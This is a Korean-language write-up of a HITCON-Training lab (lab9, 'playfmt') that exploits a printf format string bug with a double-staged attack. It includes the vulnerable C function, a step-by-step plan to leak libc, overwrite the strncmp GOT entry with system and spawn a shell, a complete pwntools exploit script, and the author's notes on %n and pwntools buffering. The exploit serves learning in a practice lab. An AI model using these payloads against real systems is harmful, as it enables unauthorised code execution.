문제
playfmt 바이너리의 checksec 결과는 다음과 같다.
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
file 명령어 결과는 다음과 같다.
playfmt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=157fb5ec4301a1a1bddebb3c0f79c17305c57693, not stripped
취약점이 존재하는 함수
int do_fmt()
{
int result; // eax
while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}
printf(buf)에 format string bug가 존재한다. 하지만 buf가 stack이 아닌 bss 영역에 위치하고 있다. 따라서 lab7, lab8 처럼 내가 write하고 싶은 영역의 주소를 buf에 넣어도 해당 주소를 참조할 수 없다.
=> double staged format string attack을 이용해야 한다.
1. first stage
스택에 있는 포인터 (스택 내의 주소를 가리키는 포인터)를 이용해서 해당 주소에 내가 덮어쓰고자 하는 주소를 write한다.
2. second stage
first stage에서 write한 주소 (스택에 존재)를 참조해서 그 주소에 내가 원하는 값을 덮어쓴다.
exploit 방법
-
do_fmt 함수를 호출하기 전에 setvbuf를 호출하는데 이 때 인자로 들어간 stdout의 주소가 스택에 존재한다. 이 값을 출력함으로써 libc의 base_addr을 leak할 수 있다. (stdout의 offset은 readelf -s libc를 통해서 찾을 수 있다. 또는 gdb에서 x/a &stdout을 통해서 나온 주소에서 libc_base를 빼면 된다.) 이를 통해 system 함수의 주소를 알 수 있다.
-
스택에 있는 포인터를 이용해서 스택에 strncmp_got 주소, strncmp_got 주소 +2 값을 write한다. (system 함수의 주소가 0xf7로 시작하기 때문에 %hn을 통해 overwrite하려고 한다.)
-
2번에서 스택에 write한 주소를 참조해서 strncmp_got 영역에 system의 주소를 overwrite한다.
-
read 함수에서 buf에 “bin/sh\x00”을 넣어주면 shell을 얻을 수 있다.
c.f) 이 문제는 esp 값을 잘 조절해줘서 printf를 호출할 때 마다 esp 값이 고정되어 있다. => 이거 원래 모든 바이너리에서 다 스택 정리를 이렇게 해주나?
그리고 이 문제에서 buf(같은 영역에)에 계속 write를 해주기 때문에 이전에 보낸 문자열 보다 그 다음에 보낸 문자열이 더 짧으면 이전에 보낸 문자열까지 같이 printf한다. 그러면 %n이 이상한 곳을 참조해서 error가 발생하여 프로세스가 종료될 수도 있다.
풀이
#!/usr/bin/python
from pwn import *
import time
file_path="/home/sungyun/HITCON-Training/LAB/lab9/playfmt"
p=process(file_path)
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
strcmp_got=0x804a020
p.recvuntil("=\n")
p.recvuntil("=\n")
pay="%8$x" # stdout leak
pay+="%"+str(strcmp_got-8)+"d"+"%6$n"
pay+="%c"*2+"%13$n"+"end"
p.send(pay)
IO_stdout=int(p.recv(8),16)
libc_base=IO_stdout-0x001b2d60
system=libc_base+libc.symbols['system']
time.sleep(20)
p.recvuntil("end")
system=hex(system)
system_high=int(system[2:6],16)
system_low=int(system[6:],16)
pay2="%08x"*8+"%"+str(system_low-64)+"d"+"%hn"+"%08x"*8+"%"+str(system_high-system_low-64)+"d"+"%hn"+"end"
p.send(pay2)
time.sleep(20)
p.recvuntil("end")
p.send("/bin/sh\x00")
p.interactive()
알게 된 것
1. 혁쓰 추측 : 로컬에서 format string bug를 exploit 할 때 해당 프로세스 (pwntools의 process로 실행시킨 것)를 gdb에 attach하고 디버깅 하는 경우 printf를 통해 매우 많은 양을 출력하면 이걸 읽어줘야 프로세스가 멈추지 않고 제대로 실행된다. 출력을 읽어주지 않으니까 출력을 계속 하다가 출력 버퍼가 꽉 차서 더 출력을 하지 못하고 대기하고 있는듯…
근데 이상한게 gdb에 프로세스를 attach하지 않고 그냥 처음부터 gdb로 프로그램을 디버깅 할 때는 출력을 읽어주지 않아도 프로세스가 멈추지 않고 실행된다. => pwntools의 process 함수가 만든 통신은 출력이 매우 큰 경우에는 출력 버퍼에 있는 것을 읽어들였는지 안 읽어들였는지를 신경 쓰는듯?
이걸 처리하기 위해서 payload 마지막에 “EEEEE” 같은 특정 문자열을 넣어준다. 그 다음 time.sleep(30)을 통해서 해당 문자열이 다 출력될 때 까지 기다린 뒤 recvuntil(“EEEEE”)를 이용해서 출력한 것을 다 받아준다. recvuntil이 계속 데이터를 축적시키고 있는 놈이라 터질 수도 있기 때문에 아래 코드를 이용하는게 더 좋을 것 같다.
While 'E' not in p.recv(0x1000):
pass
리모트의 경우는 send를 하고 나면 이것에 대해서 따로 신경을 쓰지 않기 때문에 이러한 문제가 발생하지 않는다.
2. %n은 지금까지 출력한 문자열의 개수를 write하는 것이 아니라 %n이 들어간 printf 내에서 출력한 문자열의 총 개수를 write한다.
printf(“%10c%n”, 1, &count);
printf(“%20c%n”, 1, &count2);
count1 = 10
count2 = 20
3. double staged format string attack의 second stage에서 $플래그를 통해 parameter를 참조할 때 수정된 값을 참조하지 못한다. 즉, second stage에서 %10$n으로 내가 수정한 주소에 overwrite를 하려고 하면 수정한 주소를 참조하는 것이 아니라 수정되기 전에 해당 위치에 있던 값을 참조하여 overwrite를 하게 된다.
$flag는 $flag로 지정한 포맷 스트링의 값을 미리 가져와 놓고 사용하기 때문에 수정한 값을 가져오지 못하고 수정하기 전의 값을 참조하게 된다.
근데 또 이상한게 제일 마지막에 1개 쓰는 것은 수정한 값을 참조한다. 즉, second stage에서 payload를 %d %s %d %10$n으로 하면 이 때는 수정한 값을 참조한단다…
c.f) send()는 문자열 마지막에 NULL을 추가하지 않는다. (sendline은 “\x0a”를 추가한다.)